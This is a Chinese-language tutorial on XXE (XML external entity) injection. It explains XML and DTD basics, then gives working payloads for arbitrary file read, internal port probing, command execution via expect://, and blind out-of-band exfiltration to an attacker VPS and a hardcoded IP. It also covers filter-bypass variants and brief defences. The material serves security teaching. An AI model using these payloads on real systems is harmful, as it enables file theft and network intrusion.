Web安全之XXE漏洞
基础知识:
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
什么是DTD
DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML中,也可作为一个外部引用。
<!DOCTYPE 根元素 [元素声明]> //内部DTD声明 <!DOCTYPE 根元素 SYSTEM "文件名">//外部DTD声明 <!ELEMENT 元素名称 类别>或者<!ELEMENT 元素名称 (元素内容)>//DTD中声明一个元素 <!ELEMENT fools (fool_no1,fool_no2)>//带有子元素(序列)的元素 <!ATTLIST 元素名称 属性名称 属性类型 默认值>//DTD中,属性通过ATTLIST声明 <!ENTITY 实体名称 "实体的值"> //内部实体声明 <!ENTITY 实体名称 SYSTEM "URI/URL">//外部实体声明 带有DTD的XML文档实例 test.xml: <?xml version = "1.0"?> <!DOCTYPE note [//定义note为根元素 <!ELEMENT note (to,from,body)>//定义note元素有三个元素(to,from,body) <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>mrob0t</to> <from>root</from> <body>Dont forget the r00tkit</body> </note>
XML文档的构建模块:
元素:
元素是 XML 以及 HTML 文档的主要构建模块。HTML 元素的例子是 "body" 和 "table"。XML 元素的例子是 "note" 和 "message" 。元素可包含文本、其他元素或者是空的。空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
<body>hello,world</body> <msg>hello,world</msg>
属性:
属性可提供有关元素的额外信息。
属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 "img" 元素拥有关于源文件的额外信息
<img src="1.gif"/>
实体:
实体是用来定义普通文本的变量。实体引用是对实体的引用。
当文档被 XML 解析器解析时,实体就会被展开。
下面的实体在 XML 中被预定义:
PCDATA:
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们
CDATA:
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
不同程序引入外部实体支持的协议
默认支持协议为:
PHP支持的扩展协议为
XXE漏洞:
XXE外部实体注入(Xml eXternal Entity Injection)
漏洞原理:
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
漏洞危害:
恶意引入外部实体简单实例-任意文件读取
payload: <?xml version="1.0"?> <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "file:///D://hacker.txt"> ]> <x>&xxe;</x>
#内网探针
<?xml version="1.0"?> <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "http://192.168.xxx.xxx:8080/index.php"> ]> <x>&xxe;</x>
#RCE
该案例是在安装expect扩展的PHP环境里执行系统命令(实战几乎不会碰到)
<?xml version="1.0"?> <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "expect://id"> ]> <x>&xxe;</x>
#引入远程外部实体DTD(必须允许引入远程外部实体)
类似于远程文件 包含
<?xml version="1.0"?> <!DOCTYPE payload [ <!ENTITY % file SYSTEM "http://127.0.0.1:8080/hack.dtd"> ]> <x>&send;</x> hack.dtd: <!ENTITY send SYSTEM "file:///D:/test.txt">
#无回显-读取文件
<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/test.txt">//把读到的靶机上的内容test.txt赋值给file变量 <!ENTITY % dtd SYSTEM "http://vps:8080/test.dtd">//远程引入自己VPS 上的dtd %dtd; %send; ]> test.dtd: <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://vps:8080/?data=%file'>"//读取file变量的内容 > %payload;
漏洞绕过
#大小写绕过
#html实体编码绕过
#data://协议绕过
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+"> %a; %b; ]> <test>&hhh;</test> <!--编码内容--> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
#file://协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <!--上传文件--> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'
#php://filter协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'> <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
参考cl4y大佬:
http://www.cl4y.top/xxe%e7%ac%94%e8%ae%b0/
漏洞防御:
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
方案二、过滤用户提交的XML数据